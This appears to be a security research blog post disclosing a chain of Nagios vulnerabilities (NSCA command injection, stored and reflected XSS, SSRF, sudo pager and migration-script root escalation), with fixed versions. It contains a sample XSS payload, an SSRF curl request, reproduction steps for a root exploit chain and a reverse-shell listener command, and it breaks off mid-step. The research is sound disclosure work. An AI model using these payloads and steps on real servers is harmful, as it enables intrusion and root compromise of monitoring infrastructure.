Escalating XSS to Sainthood with Nagios


If you’re running a big enough network, chances are you have a monitoring server tucked away somewhere, silently watching and waiting to let you know if something goes wrong. This same quiet IT warrior is also a juicy target for attackers because it both houses a large amount of data about your network and also serves as an ideal launching point from which to move laterally within the network.

Given the importance of such a target, one naturally would expect that the monitoring server would be housed internally within a network and inbound network access would be tightly controlled, but that doesn’t mean there’s no way in. Take Nagios as an example. Nagios’s primary user interface is a web application that is designed to execute administration tasks. As a result, there are many places where it handles commands that run with elevated privilege. This means is that there are many ways that a small issue can snowball into a big problem for a network, and the amount of flexibility and features means there’s a lot of room for things to go wrong.

During the course of research into Nagios, GRIMM researchers discovered a number of vulnerabilities that would enable attackers to gain Remote Code Execution (RCE) as root on the primary server, which provides great potential for later lateral movement. Granted that in most of the realistic scenarios, the network restrictions around what can even talk to the Nagios server means that attackers need a little bit of a start, either a too-trusting administrator or a compromised client, but once they get a toehold, it’s on like Donkey Kong.

Designing a reasonably-sized web application in PHP and shell scripts that doesn’t have any security holes is a tall order. Add in that many of the inputs and functionality are directly related to remote administration, it’s a whole ’nother ballgame. Just sticking to the core functionality and plugins written and distributed by Nagios still leaves us a large attack surface, a ton of features, and a lot of legacy code due to the steady accretion of features that is natural in software that is over a decade old. The result is a complex system that has clearly been developed with flexibility and extensibility in mind, but this leads to a myriad of different attacks that need to be defended against.

We ended up splitting the vulnerabilities found into three major categories, where depending on the scenario some vulnerabilities may require other supporting vulnerabilities to create a full chain. That being said, largely it’s a three-step process to owning a Nagios server: 1) use an initial access vector to get data into the Nagios core so that it will later be used by the web application 2) leverage that data to trigger unintended side effects in the context of the web application or web/nagios user 3) escalate from user to root on the Nagios server.

  1. Initial Access Vectors

    • NSCA (Nagios Service Check Acceptor)/NSClient++ inputs not validated or sanitized before processing, resulting in injection of arbitrary agent responses and “external commands”

    • NRDP (Nagios Remote Data Processor) and NCPA (Nagios Cross-Platform Agent) “passive” checks allow any agent to execute “external commands” on the server

    • Data from NCPA agent can lead to Cross-Site Scripting (XSS) in configuration wizard

    • Multiple “external commands” render unsanitized data, resulting in XSS

    • Multiple reflected XSS vectors allow access via phishing

    • Web application admin users can use stored XSS to run persistent JavaScript payloads in the context of any web application user via service workers

  2. Web Application Payloads

    • New web application administrator users can be created via XSS

    • Plugin uploads allow arbitrary native code execution via XSS

    • Insufficient access controls on web directories allow arbitrary PHP execution and persistence via web shells

    • Server Side Request Forgery (SSRF) via XSS allows scanning and other request redirection

  3. Escalation Payloads (native payloads?)

    • Sudoer-enabled scripts run commands that launch the default system pager, allowing privilege escalation to root

    • “Migrate Server” functionality can be used to gain root code execution

All in all, these vulnerabilities pose a serious risk to organizations using Nagios and also serve as a very instructive look at how web application flaws can lead to serious consequences.

Throughout this blog post, we'll mention the use of scripts we developed while performing this research. As always, we publish this material in our NotQuite0DayFriday Github repository. The scripts related to this blog can be found here.

Bug identification

NSCA External Command Injection

  • Vulnerability Type: Command Injection

  • Location: NSCA src/nsca.c:handle_connection_read()

  • Affected Versions: All versions of NSCA from at least 1.2 (2001) to 2.10.1 (latest at time of disclosure)

  • Fixed Version: NSCA version 2.10.1

  • Impact: Clients can send arbitrary “external commands,” leading to misleading or incorrect data and allowing selective enabling and disabling of host/service checks

NSCA is a plugin for Nagios XI and Nagios Core that does just what the name implies: it accepts data from checks that are performed on the remote client, where “checks” gather information about a specified host or service (“check data”). NSCA is a client/server architecture with an agent that runs on the client machine, and is a standalone codebase separate from Nagios XI and Nagios core. NSCA is installed by default in Nagios XI, but the default configuration is the same regardless of Nagios deployment, with a default network policy to restrict network access to the NSCA port to just machines that have NSCA agents. The trust relationship between client and server is that only machines with agents should have access to the shared encryption key and encryption scheme via their configuration files, so any agent that can reach the network port and knows the encryption key should be trusted.

This shared-key encryption is the extent of trust for client data; NSCA performs almost no sanity-checking on incoming client messages. The only post-decryption filtering on incoming messages performed is to ensure that the host matches a host that Nagios is monitoring, or the service-and-host pair exist if the message relates to a service. Since the purported origin of the message is not verified against the sender, any agent can send a report claiming to be from any host, which allows status spoofing.

Further, because the server-side processing of agent messages in handle_connection_read() does not check the contents of the responses before writing to the command file (nagios.cmd), attackers can violate Nagios’ assumption that the command file contains well-formatted, newline-terminated external commands. This allows any agent to inject arbitrary external commands, which can be used to cause a number of minor actions to happen such as sending notifications, selectively enabling/disabling host checks, etc. By itself this may not be a major issue, but in combination with other issues it is used to inject attacker-controlled data, making XSS attacks possible.

NRDP Insufficient Sanitization on External Commands from Clients

  • Vulnerability Type: Insufficient Sanitization

  • Location: NRDP nrdp/server/

  • Affected Versions: NRDP 1.3.1 (Oct 2013) to 2.0.4 (latest at time of disclosure)

  • Impact: Clients can send arbitrary “external commands” with unchecked contents that can lead to XSS or other effects.

The contents of NRDP messages go through minimal sanitization, which allows attackers able to send these messages to supply misleading information about other hosts or services, selectively disable host checks, and enable XSS attack vectors. NRDP is Nagios’s preferred Application Programming Interface (API) for agents and applications to submit check response data to be ingested, but it also accepts arbitrary external commands by default. This is made possible by an option in the default NRDP server configuration file ($cfg["disable_external_commands"] = false;). Via NRDP, clients are able to send any external command with arbitrary contents. These external commands are accepted with minimal sanity-checking; for example, host-related commands are accepted as long as the host in question is actually monitored by Nagios, but the origin of the message is not checked against the data.

During the disclosure process, Nagios responded that they do not consider this a vulnerability, since external commands can be disabled by a system administrator. GRIMM’s perspective is that since Nagios by default exposes all external commands to be used by a client, all default installations of Nagios are vulnerable to the external command XSS bugs described below. If external commands were disabled by default, than those XSS bugs would only affect Nagios servers in environments in which the vulnerable external commands were explicitly allowed by administrators. We suspect that the number of vulnerable servers in the latter case would be much lower than in the case of the former.

NCPA Configuration Wizard XSS

  • Vulnerability Type: XSS

  • Location: nagiosxi/html/includes/configwizards/linux-server/ and nagiosxi/html/includes/configwizards/ncpa/

  • Affected Versions: Nagios XI 5.7.0 (June 2020) to 5.8.6 (latest at time of disclosure)

  • Fixed Version: Fixed in NCPA configuration wizard version 3.0.10

  • Impact: XSS in the context of any user that views the affected pages

During particular configuration wizard pages related to configuring Linux NCPA agents, data is retrieved from the agent’s Secure Hypertext Transfer Protocol (HTTPS) endpoints and some fields are rendered unsanitized in the configuration wizard page, which can result in XSS if an attacker compromises the client and alters the response.

This is only applicable when the configuration wizard runs, normally the data returned from the agent is either sanitized or presented in numeric form. If an attacker can compromise a machine running an NCPA agent and gain privileged access, they could alter the agent to respond with a malicious string. The attackers might lure an administrator to attempt to reconfigure an agent by returning parameters that seem erroneous, which might lead the administrator to attempt to reconfigure the agent.

In the Nagios Web UI there are three ways to reach the vulnerable config wizards:

  1. Configure -> Configuration Wizards -> “Linux Server” from choices

  2. Configure -> Configuration Wizards -> “NCPA” from choices

  3. Configure -> Auto Deployment -> Manage Deployed Agents -> “Run Wizard” button (wand icon)

External Command XSS

  • Vulnerability Type: XSS

  • Location: Nagios XI: nagiosxi/html/includes/components/xicore/; Nagios Core: cgi/extinfo.c:show_all_comments:1834

  • Affected Versions: All known released version of Nagios XI and Nagios Core to latest at time of disclosure

  • Fixed Version: Fixed in Nagios XI version 5.8.7

  • Impact: XSS in the context of any user that views the affected pages

Three external commands Nagios commands have some of their message contents rendered directly to Hypertext Markup Language (HTML) without sanitization, allowing an attacker capable of sending these commands to execute code in the context of a user that views the affected page(s). These commands are ADD_HOST_COMMENT, ADD_SERVICE_COMMENT, and ACKNOWLEDGE_HOST_PROBLEM. In the case of ADD_HOST_COMMENT, the vulnerable field is “comment_data”.

Using ADD_HOST_COMMENT as an example, if the attacker specifies the host “localhost”, then any user who visits the host detail page for “localhost” will receive the XSS payload in the “comment_data” field, which results in the payload being run in their browser. Normally this would be a less serious vulnerability, but in the context of the other vulnerabilities in this report it becomes a useful building block in a very plausible attack chain.

Reflected XSS on SSH Terminal Page

  • Vulnerability Type: XSS

  • Location: nagiosxi/html/admin/sshterm.php:158

  • Affected Versions: Nagios XI from at least 5.5.0 (June 2018) to 5.8.6 (latest at time of disclosure)

  • Fixed Version: Fixed in Nagios XI version 5.8.7

  • Impact: XSS in the context of any user that can be induced to follow a malicious link

The ‘url’ query string parameter exposed by the sshterm.php endpoint is rendered into an iframe tag without proper sanitization or encoding, which allows for the execution of attacker-supplied JavaScript. There is some processing to ensure the value starts with https://, preventing the use of JavaScript or a data Uniform Resource Identifier (URI). However, quotation marks are not properly sanitized, Uniform Resource Locator (URL) encoded, or encoded to HTML entities. This allows the creation of arbitrary attributes within the rendered iframe tag. Adding an event handler such as ‘onload’, or a ‘srcdoc’ attribute with a ‘<script>’ tag (with < and > encoded as HTML entities) allows for the execution of arbitrary JavaScript. For example:



The XSS payload will also persist through the login redirect. So should an administrator not be logged into the Nagios XI instance at the time the malicious link is followed, they will be redirected to the login page. After login, they will be redirected back to the original sshterm.php page with the payload still intact.

Reflected XSS on Main Account Page

  • Vulnerability Type: XSS

  • Location: /nagiosxi/html/account/main.php:154

  • Affected Versions: Nagios XI from at least 5.3.0 (Oct 2016) to 5.8.6 (latest at time of disclosure)

  • Fixed Version: Fixed in Nagios XI version 5.8.7

  • Impact: XSS in the context of any user that can be induced to follow a malicious link

The ‘api_key’ query string parameter is rendered into an input tag with minimal sanitization, allowing attackers to craft malicious links that, when followed, trigger arbitrary JavaScript execution. Quotation marks are not removed or encoded to HTML entities, allowing the insertion of arbitrary attributes into the input tag. Adding an event handler such as ‘onfocus’, along with an ‘autofocus’ attribute allows the automatic execution of arbitrary JavaScript. For example:


The XSS payload will also persist through the login redirect. So should a user not be logged into the Nagios XI instance at the time the malicious link is followed, they will be redirected to the login page. Then after login, will be redirected back to the original main.php page with the payload still intact.

Stored XSS on Hostname Field When Configuring Outbound Audit Log Messages

  • Vulnerability Type: XSS

  • Location: /nagiosxi/html/admin/auditlog.php:292

  • Affected Versions: Nagios XI from at least 5.7.0 (June 2020) to 5.8.6 (latest at time of disclosure)

  • Fixed Version: Fixed in Nagios XI 5.8.7

  • Impact: One administrator gains XSS in the context of any other administrator who visits the auditlog configuration view

The outbound audit log hostname value is not properly sanitized when saved or escaped when rendered, allowing attackers to store arbitrary JavaScript that is executed when the auditlog configuration view is rendered. Quotation marks are not removed when the hostname value is stored, or encoded to HTML entities when rendered into the input tag. This allows saving a hostname that when subsequently rendered on the configuration page, allows the insertion of arbitrary attributes into the input tag. Adding an event handler such as ‘onanimationstart’, along with a style attribute that references an existing animation name allows the automatic execution of arbitrary JavaScript.

For example, saving the following value as the hostname will result in the payload running on subsequent visits to the audit log configuration page:

nagios-audit-out.corp.lan" style="animation: twirl 0s;" onanimationstart="alert('XSS')

Triggering this vulnerability requires administrator privileges. While administrators already have elevated privileges, this vulnerability could be abused in situations with multiple administrators to steal passwords or impersonate other admins. Alternatively, this method could be used to bypass event logging that may indicate compromise (i.e. logging one administrator resetting the password of another administrator).

www-data/apache User has Write Permissions on Web Directories and Files

  • Vulnerability Type: Security Misconfiguration

  • Location: nagiosxi/html/sounds/ and nagiosxi/html/includes/components/highcharts/exporting-server/temp

  • Affected Versions: Nagios XI from at least 5.7.0 (June 2020) to 5.8.6 (latest at time of disclosure)

  • Fixed Version: Nagios XI version 5.8.7

  • Impact: A user capable of executing commands under the www-data (such as in a reverse shell) can setup persistence via web shells

Two directories served by the Nagios XI apache server are writable by the www-data user, one of which is configured to allow execution of PHP, and the other can be enabled to allow execution of PHP. Should an attacker gain a reverse shell running under the www-data user, the configuration allows the execution of arbitrary PHP scripts by the web server. This allows attackers to serve arbitrary content such as a web shell, service worker, or other content that could be used to trick users because it’s hosted on a trusted server. The /usr/local/nagiosxi/html/sounds/ directory is writable by the www-data user, as well as the .htaccess file located in the directory. The contents of the .htaccess file disable execution of PHP with a line that reads “php_flag engine off.” Enabling execution is as easy as modifying the line to “php_flag engine on.” The /usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp directory is also writeable, and allows execution of PHP without any additional configuration or changes.

Server Side Request Forgery via the Hyper-V Config Wizard

  • Vulnerability Type: SSRF

  • Location: nagiosxi/html/includes/configwizards/hyperv/hyperv-ajax.php:34

  • Affected Versions: Nagios XI from at least 5.6.0 (Apr 2019) to 5.8.6 (latest at time of disclosure)

  • Fixed Version: Fixed in Nagios XI version 5.8.7 and version 1.0.2 of the config wizard

  • Impact: SSRF could be utilized to scan or retrieve content from localhost or a network segment that is otherwise inaccessible. It could also be used to scan or retrieve content from an accessible network segment without raising as much suspicion since the requests are coming from a trusted address.

The ‘hyperv-ajax.php’ file does not adequately sanitize or restrict the ‘ip_address’ query string parameter, which ultimately allows an attacker to to scan or retrieve content from localhost or a network segment that is otherwise inaccessible. While the shell argument is escaped before interpolation into the command line that calls curl, there are no restrictions on the ip_address value so it can be used to make requests to any host and port combination or URL path. The string that the address is interpolated to includes the port and a long path, but it can all be excluded by ending the IP address value with a question mark, resulting in the remainder of the string being interpreted as a query string by the server that receives the request.

For example, the first curl request shown below results in the server making an outbound call that is equivalent to the second curl request. Since the request is made by the server, attackers can use this to reach internal resources that they otherwise would not be able to reach, and can glean information about the IP and port combination based on whether data is returned and the timing of the response.

curl -G https://nagios.corp.lan/nagiosxi/includes/configwizards/hyperv/hyperv-ajax.php --data-urlencode 'ip_address=' -k -H 'cookie: nagiosxi=9m8f9hjle8siptu1v73k50edrb'

curl '' -g -f -k --connect-timeout 10

Privilege Escalation via Service Management Script

  • Vulnerability Type: Security Misconfiguration

  • Location: nagiosxi/scripts/

  • Affected Versions: Nagios XI versions from at least 5r1.0 (Sep 2015) to 5.8.6 (latest at time of disclosure) installed on systems with versions of systemctl that use the system pager (present on CentOS 8 and Ubuntu 18.04 and 20.04)

  • Fixed Version: Fixed in Nagios XI version 5.8.7

  • Impact: Interactive users can run commands as root

The www-data/apache user is allowed to run the script via sudo without a password, which can lead to privilege escalation to root on some host platforms. This script invokes systemctl (without the –no-pager option), and later versions of systemctl spawn less and pipe the status output into it by default. Less allows the execution of arbitrary shell commands, so it’s possible to spawn a shell as root from within it. On systems with newer versions of systemctl, executing the vulnerable script with ‘sudo /usr/local/nagiosxi/scripts/ status nagios’, results in a call to ‘systemctl status nagios’, which invokes ‘less’ as the pager for the output. Once ‘less’ has been spawned, shell commands can be run by prepending them with an exclamation point.

Unbundling process during server migration runs attacker-supplied scripts as root

  • Vulnerability Type: Logic Bug

  • Location: run_migration_ansible() in nagiosxi/scripts/migrate/migrate.php

  • Affected Versions: Nagios XI 5.8.0 (January 2021) to 5.8.6 (latest at time of disclosure)

  • Fixed Version: Fixed in Nagios XI version 5.8.7

  • Impact: RCE as root on the machine hosting the Nagios server

The migrate server functionality exists to ease the transfer of configuration from one Nagios instance to another, and while the action requires knowing the IP address and credentials to the specified server, the migration process can result in executing arbitrary code as root if an attacker specifies a server they control.

The migration process is triggered via a form request on the endpoint nagiosxi/admin/migrate.php, but the real action takes place in the command subsystem, which invokes the migrate.php file (this one in the scripts/migrate/ directory) with sudo and performs the actual migration process. This process uses an Ansible playbook to upload and execute a “bundler” script to the specified server, then download the results. However, because the attacker controls the server, there are several ways they can sabotage the bundler script so that the attacker fully controls the contents of the bundle archive that is downloaded. In our example code, we pre-stage a file that matches the glob pattern the playbook looks for and then replace the gzip binary on our server, which causes the last step in the bundling script to leave the bundle with a “.tar” extension instead of “.tar.gz” and our file to be downloaded to the Nagios server.

Once the Ansible playbook runs and the malicious tarball is downloaded, the migrate script creates a temporary directory for the unbundling. It first copies the unbundling script to this directory, then extracts the malicious tarball, then executes the unbundling script (as root). Since the extraction takes place after the copy, a crafted tarball can overwrite the unbundling script with a script of the same name which will be executed as root. This provides attackers a way to escalate from administrative control on the web application to full root access on the Nagios server.

Technical analysis

In order to discuss the variety of vulnerabilities disclosed, it helps to have a concept of a Nagios deployment and its intended communication channels. Nagios is intended to be deployed to a server and is assumed to be on an internal network or network segment. As a result of this, directly communicating with the Nagios instance is limited to expected hosts or subnets. The two general categories of these communications are agent/service check-related communications and the administrator or authorized users viewing and configuring the instance. The life cycle of an attack on Nagios will start by gaining access via an expected communication channel, potentially leveraging the web application to activate additional payloads or gain execution in a more-privileged context, and finally establishing either native code or system command execution as root. Based on the vulnerabilities discovered, there are multiple avenues for an attacker to pursue at each phase in the attack chain described above, so we will discuss each of the phases and then give an example scenario for an end-to-end attack.

An important distinction to make is that there are two common versions of Nagios, an open-source version (Nagios Core) and a paid version (Nagios XI) that was forked from the open-source version. The most noticeable difference in Nagios XI is the redesigned frontend and database, as well as the fact that Nagios XI is packaged as more “batteries included,” with several common plugins pre-installed. Despite these differences, they are very similar so some of the vulnerabilities affect both, though clearly not bugs in the new web frontend pages and extra features specific to Nagios XI. The Bug Identification section describes which version of Nagios each vulnerability applies to, but in general we will be discussing Nagios XI unless otherwise noted.

Figure 1: High-level Nagios architecture diagram

Initial Access

The first type of communication we investigated is the communications between Nagios and its agents or remote systems. This type of communication can be further split into two categories: those initiated by Nagios and those initiated by the remote end. Nagios documentation calls these “active” and “passive” checks, but for clarity we will refer to Nagios as the “server” in the context of this discussion and the remote machine will be the “client” even though it may be something like an email or web server itself. Nagios supports both directions of communication because as a network scales up it may be easier for clients to report in without having to be asked by the server, but in order to support these client-initiated communications Nagios will have firewall and network exceptions to allow clients to connect to open network ports. There are a few different agent types that Nagios still supports, including NCPA, NRPE, and NSCA, but we’ll start with an examination of NSCA (Nagios Service Check Acceptor).

NSCA is a Linux/Unix agent for Nagios written in C, and it is designed to allow checks to be initiated from either the client or server-side. The communications are protected by matching client-server configuration of the encryption scheme and password, and in Nagios XI’s default configuration each client needs to be added to the xinetd configuration to be allowed to communicate with the server. These are all good protections, but it means that any client machine can send unsolicited messages to the server, so any compromised client can act as a launching point for an attack on the Nagios server. The use of encryption also does not address the contents of those messages, which ends up being an issue. The NSCA protocol defines messages to be tab-delimited and terminated by a newline, but the server-side processing of client-initiated messages does not properly parse newlines contained in incoming messages. As a result, messages containing newlines can inject “external commands” (a Nagios-specific term that we will explain below) to achieve unintended effects. The server-side processing also fails to check that the origin of the message matches the reported host or service, as long as the message refers to a host or service matches something that Nagios is actually monitoring, such as the compromised client or the Nagios server itself (which is automatically monitored under the hostname ‘localhost’ in default configurations).

External commands refer to a specific set of commands that are intended to allow a safe set of minor configuration changes and messaging capabilities. Normally messages from NSCA (or NSClient++) clients are processed by writing the message to a file which processes these external commands, with an external command type of PROCESS_HOST_CHECK_RESULT or PROCESS_SERVICE_CHECK_RESULT. This type of external command will be processed and the contents will be stored for later display by the web application. Since NSCA messages can inject arbitrary external commands, attackers can use any external commands that are not specifically disabled. This allows them to change some configuration parameters, inject notifications, or selectively disable and enable checking for specific hosts or services. Being able to inject attacker-controlled data enables certain attack vectors which can be leveraged for privilege escalation as we will see. Attackers can also use external commands to make it appear that key services or hosts are experiencing intermittent outages and draw the attention of admins to particular pages, which is a very useful primitive in the context of a web application. So far we have discussed how a mistake in the handling of NSCA messages could lead to a compromised client machine being able to send arbitrary external commands to the Nagios server, but while it still appears to be in use and is part of the default Nagios XI install, NSCA has been superseded by a newer type of agent.

NCPA is the most recent Nagios agent, written in Python and supporting multiple operating systems and both server- and client-initiated host/service checks. Similar to NSCA, NCPA uses a pre-shared secret between the client and server, but it uses a different secret for each side, so the administrator must place a token in the configuration file on the client machine in order for the client to initiate communications with the server. This token is for an interface called NRDP, which uses Hypertext Transfer Protocol (HTTP) or HTTPS and is the intended interface for newer agents and other applications to send information to the server. Attackers could gain access to the token either from a compromised client or by capturing traffic from an agent or application that is configured to use HTTP (which the example comment in the default configuration file demonstrates), where the token would be sent in plaintext. Once an attacker gains this token they can then communicate with the NRDP API, which is a very flexible API because it allows any client to specify arbitrary external commands that the server will process. So by design, any compromised NCPA agent configured for client-initiated (“passive”) checks can execute arbitrary external commands.

But even if no such client-initiated agent communication is configured, there is at least one way for a client to attack the server. It seems that Nagios expected that responses from rogue agents was an attack vector and they designed a system setting that is designed to prevent NCPA agents from sending responses that would end up rendering as JavaScript (which would result in XSS). The setting is “Allow HTML Tags in Host/Service Status.” It is disabled by default, but if an admin enables it, a compromised NCPA agent could send responses that would lead to XSS on some of the most common overview pages. However, even if that setting is left disabled, there are a few places where a rogue NCPA agent could send crafted responses that can lead to XSS, particularly in the NCPA configuration wizard pages. So an attacker could modify an NCPA agent to report a strange service response in an attempt to have the admin redeploy or reconfigure an agent, and if they do, the agent returns a specially crafted message regarding the percentage memory utilization. When the server renders the current memory load on the wizard pages (which occurs in the “Linux Server” and “NCPA” wizards that contain copies of the same vulnerable code) the PHP code inserts the string from the rogue agent directly into the HTML response, leading to XSS.

So at this point we’ve demonstrated vulnerabilities in both client- and server-initiated communications, but it’s also possible to run Nagios without using any agents, in which case attackers would have to focus on the one method of ingress that will always be open: the administrator. While they do require user interaction, a single click from a logged-in administrator is enough to deliver an XSS payload with one of the reflected XSS vulnerabilities. Or if an attacker is able to compromise an admin account on the Nagios web application, they can use a stored XSS vulnerability to execute JavaScript in the context of a different admin if they can get them to view the audit log page, which might be useful for covering their tracks.

Web Application Payloads

We’ve now established that attackers have multiple avenues to either execute external commands (to generate disruption directly or to store data) or directly execute XSS, depending on the configuration of the target network. In the case where attackers can execute external commands on the Nagios server, it appears that there was an oversight on what values needed to be sanitized, because some of the external commands that store messages from web application users are later rendered by the frontend PHP code directly, without any sanitization. This leads to XSS opportunities on different pages depending on the type of external command, such as ADD_HOST_COMMENT storing messages that will be displayed on the host detail page for that particular host. With that part of the chain complete, the next part of the attack scenario is to use an XSS payload to gain more privileged or more persistent access to the Nagios instance. The discussion that follows assumes that the attacker was able to draw a user with admin privileges in the web application to a page where the attacker has staged the payload via one of the initial access vulnerabilities.

Figure 2: Visible commment from ADD_HOST_COMMENT with hidden XSS payload

The additional features of Nagios XI’s web application, attackers gain greater possibilities with XSS payloads, and on Nagios XI an administrator user can be added via XSS so the attacker can come back and directly administer the server or execute any of the other payloads.

In addition to adding users, XSS payloads allow attackers to exercise much of the functionality of the web application, including uploading plugins, which can be either shell scripts or native files. In the case of shell scripts, there are several available targets for an attacker to place a web shell so they can take more persistent access. Attackers can also cause the web application to directly execute the shell scripts to spawn themselves a connect-back shell so they can execute further commands or use the privilege escalation detailed below. Without further mitigations, any XSS attack that succeeds against the admin user is likely to lead to attacker control of the Nagios system.

Privilege Escalation

Normally Nagios is structured in such a way so that the administrator of the web application does not necessarily have privileged access to the server (in some cases such separation of privileges may even be desired), but because Nagios is so tightly intertwined with administration and elevated privileges, we identified two separate vulnerabilities that would allow an attacker to gain execution as root on the Nagios server itself.

The first vulnerability uses the “migrate server” functionality, which is designed to ease the process of importing the configuration of an existing server to a new server. Since this process inherently trusts the server from which it imports its configuration, it executes some scripts as root in the process. This opens the door for an attacker, who can later abuse this functionality via XSS to download a malicious package from a server they control and exploit some of the assumptions in the "migrate server" process. As a result, attackers can translate executing XSS as admin into executing a script they supply as root.

The second vulnerability leverages a vulnerable script that is specified in the sudoers file as one the web application user can execute as root, While the shell script attempts to check the arguments, by leveraging an interactive shell (described in the Bug Identification section), attackers can use a feature of systemctl on certain systems that causes the system pager (usually less) to be invoked, which gives an interactive attacker the ability to run commands as root while the pager is displaying text.

In both cases, the attackers are able to leverage XSS to gain execution as root on the Nagios server. From there, they have full access to any information saved on the server and can cover their tracks from the initial exploitation as well as for future activity on the network. While Nagios agents are designed to limit the ability for the Nagios server to execute arbitrary commands on client machines, there is either explicit or implicit trust of the Nagios server, and multiple administrative actions involve entering passwords or saving keys to other machines on the Nagios server itself.

Example End-to-End Attack: NSCA

We’ll now break down an end-to-end attack to illustrate an attack scenario step-by-step, using the NSCA access method since it is perhaps the most complex and because the NCPA vulnerabilities basically use a subset of the same codepaths. To aid in reproduction, the exploitation process described in this section has been broken down into individual steps listed below:

# 1. Stand up the malicious migration server, which includes generating the XSS
# payload. Note that docker cares about what directory you build from, so run
# the script from the migrate directory. The script will spawn a container that
# stays open on the terminal and listens until it receives the migrate connection.
> cd migrate/
> ./ <External IP of the migrate server>

# 2. In a new terminal, spin up a default Nagios XI server and a default Nagios XI
# client as shown below.
# On the Nagios Server, ensure there's a password or delete the password line
> vim /usr/local/nagios/etc/nsca.cfg

# Update `nsca_xss/send_nsca.cfg` on the client to match the password
# and encryption_method fields from the server.
> vim ./nsca_xss/send_nsca.cfg

# On the Nagios Server, ensure that the client machine is configured in the xinetd
# config. If it's not already allowed, Add a line to allow the specific IP or
# subnet, such as `only_from +=`. The IP or subnet is where the
# script will connect from, and doesn't need to be the same as
# the migrate server, but it may be, depending on your setup.
> sudo vim /etc/xinetd.d/nsca

# If you change the file, restart the xinetd service to apply the configuration
# as shown below, or use an equivalent command if not on Ubuntu 20.04.
> sudo systemctl restart xinetd.service

# 3. On the Nagios XI client, run the script that will connect as an NSCA client
# and deliver the XSS payload file generated by migrate/
> cd nsca_xss
> python --xss_payload_file ../migrate/xss_payload.html <IP/Hostname of Nagios Server>

# 4. Log into the Nagios web console as admin, at which point you may be warned
# that the client on localhost is down depending on your configuration. Navigate
# to Details -> Host Status, then click on localhost in the host entry table to
# see the host details. Once you visit this page, the XSS payload will start, so
# just wait for the demonstration payload to run.
> firefox http://nagiosbox.lan/nagiosxi/
# For demonstration purposes, the payload includes a visible comment with text
# referencing XSS, and the payload will also pop an alert box after a safe
# amount of time has passed. If you want to run the payload more than once,
# delete the existing comment by clicking the red X button next to it.

# 5. At this point, the full chain should have run. On success, the exploit
# writes a file to disk owned by root.
> ls -la /tmp/proof_of_root
-rwsrwxrwx 1 root root 9 Sep 13 08:30 /tmp/proof_of_root

The first step for an attacker is compromising a client machine running NSCA, which we take as an assumption for this discussion. On the client machine the attacker finds the NSCA configuration file (accessing this file may or may not require escalated privileges, depending on configuration) and the send_nsca binary, which are all that an attacker requires in order to communicate with the Nagios server. The included script nsca_xss/ generates a payload which essentially has three layers, an NSCA message, an injected external command of type ADD_HOST_COMMENT, and an XSS payload that will be triggered by an admin visiting the targeted host’s page. We’ll choose the migrate server payload, again because of it’s complexity.

Since the final stage of the attack is the “migrate server” action, which will Secure Shell (SSH) into a server we control, we’ll set that up first. The included Dockerfile (migrate/Dockerfile) includes a hard-coded username and password, puts all of the required files in place, and listens on port 22 for any incoming connections. This can be done by running scripts on an existing server with SSH, or more portably by using the included Docker image. Invoking migrate/ will build a container with all the files expected in the proper places, expose the container’s listening SSH server on port 22 of the host, and write out a file on the host containing a JavaScript XSS payload. This Javascript payload can then be delivered to the server via any XSS vector to cause the server to initiate the migrate action with the newly-provisioned docker container as the target. The only argument to the script is the externally-reachable IP of the machine being used as the migration target, which is written into the XSS payload along with credentials to the container since these are required parameters to the POST request that will actually kick off the migration.

Now that we have our “migrate server” SSH target waiting and an XSS payload in a file, we must make sure the server configuration matches that of a server with NSCA clients. In order to configure a new NSCA agent on a default Nagios XI install, we have to ensure that both the server and client configuration files (/usr/local/nagios/etc/nsca.cfg on the server and send_nsca.cfg in the same directory as the script on the test machine) specify the same password and encryption scheme. We must also add that client IP or subnet in another “only_from” line in the server’s xinetd configuration for nsca /etc/xinetd.d/nsca and then restart xinetd to apply the change.

Once the server is configured to recognize our client, we can invoke the nsca_xss/ script with the XSS payload file and the Nagios server as the target. The script uses the send_nsca binary to send a message to the server using the encryption key and scheme from the config file. The message is received by the NSCA listener on the server, which will write the message as part of a format string to the command file nagios.cmd. A Nagios worker will then read the file and interpret the commands as two separate external commands due to the newline we insert in the message, one of the type
PROCESS_HOST_CHECK_RESULT (the correct type) and one of ADD_HOST_COMMENT. The
ADD_HOST_COMMENT command stores a comment that will be rendered when an admin goes to the host detail page for the targeted host. In order to show how an attacker can lure admins with false alerts, we choose ‘localhost’ (the Nagios server) as the target for both commands, and we choose to use our PROCESS_HOST_CHECK_RESULT command to report that ‘localhost’ is down. At this point, the trap is set and the attacker must wait for an admin user to log in and take the bait.

Figure 3: Flow of execution from NSCA message to XSS

Nagios XI’s default frontend settings make it hard for an admin to ignore when a host goes down, so when they do access the page for ‘localhost’ to see what went wrong, the rest of the attack will run. First, the PHP page for host details lacks proper sanitization, so it inserts the crafted comment directly into the HTML, which will run a JavaScript payload in the admin user’s browser. This payload will send a POST request to the migrate server endpoint with parameters that cause Nagios to initiate the migration to the server we set up. The migrate server endpoint queues a command internally that ends up invoking a migrate.php script with sudo (normally it would run as the Nagios user, but this migrate script is a special case Nagios explicitly adds to /etc/sudoers).

This PHP migration script populates and runs an Ansible playbook, which uploads a script to our SSH server, runs it, and downloads the resulting configuration bundle. Since we’ve deliberately modified the server to break assumptions in their script, the playbook ends up downloading a tarball that we fully control. The migrate script then copies an “unbundling” Python script to a temporary directory along with our tarball, and then the script extracts our tarball and runs the unbundling script. Since we control the tarball’s contents, we craft it to contain a file with the same name as the unbundling script so our script is the one that ends up getting executed as root.

In our demonstration, we execute a payload that writes a file and changes the permissions to show it is owned by root, but a real attacker at this point would have all the privileges needed to establish a persistent presence and begin surveying the Nagios server to see where they can easily spread to within the network. Using the NRDP access method would look nearly identical, except it starts with a simpler method for executing external commands.

Figure 4: Diagram of escalating to root via XSS-triggered "migate server" request

Example End-to-End Attack: Reflected XSS to Plugin Upload to root

The reflected XSS attack vectors require user interaction, but are simpler and lead to the same end goal: remote attackers executing commands as root. In the cases of the reflected XSS, we demonstrate two URLs which can accept parameters that will ultimately be rendered as JavaScript and run in the user’s context, so if an admin can be convinced to click the link, the payload will execute. The payload will run immediately if an admin is already logged in to the Nagios web application on their current browsing session, but if they are not, they will be prompted to log in and then the attack will run. This is because Nagios preserves the parameters for these requests even when it redirects for logins.

In this example we will choose to use the other included root escalation payload, which establishes an interactive reverse shell and then invokes a shell script that is specifically allowed for execution with sudo. The steps required to reproduce are shown in detail below:

# 1. Set up socat listener on the client to catch our reverse shell. Leave this
# terminal window open.
> socat file:`tty`,raw,echo=0 tcp-listen:22473

# 2. Edit the reverse shell payload so rev_shell_ip reflects the IP of your
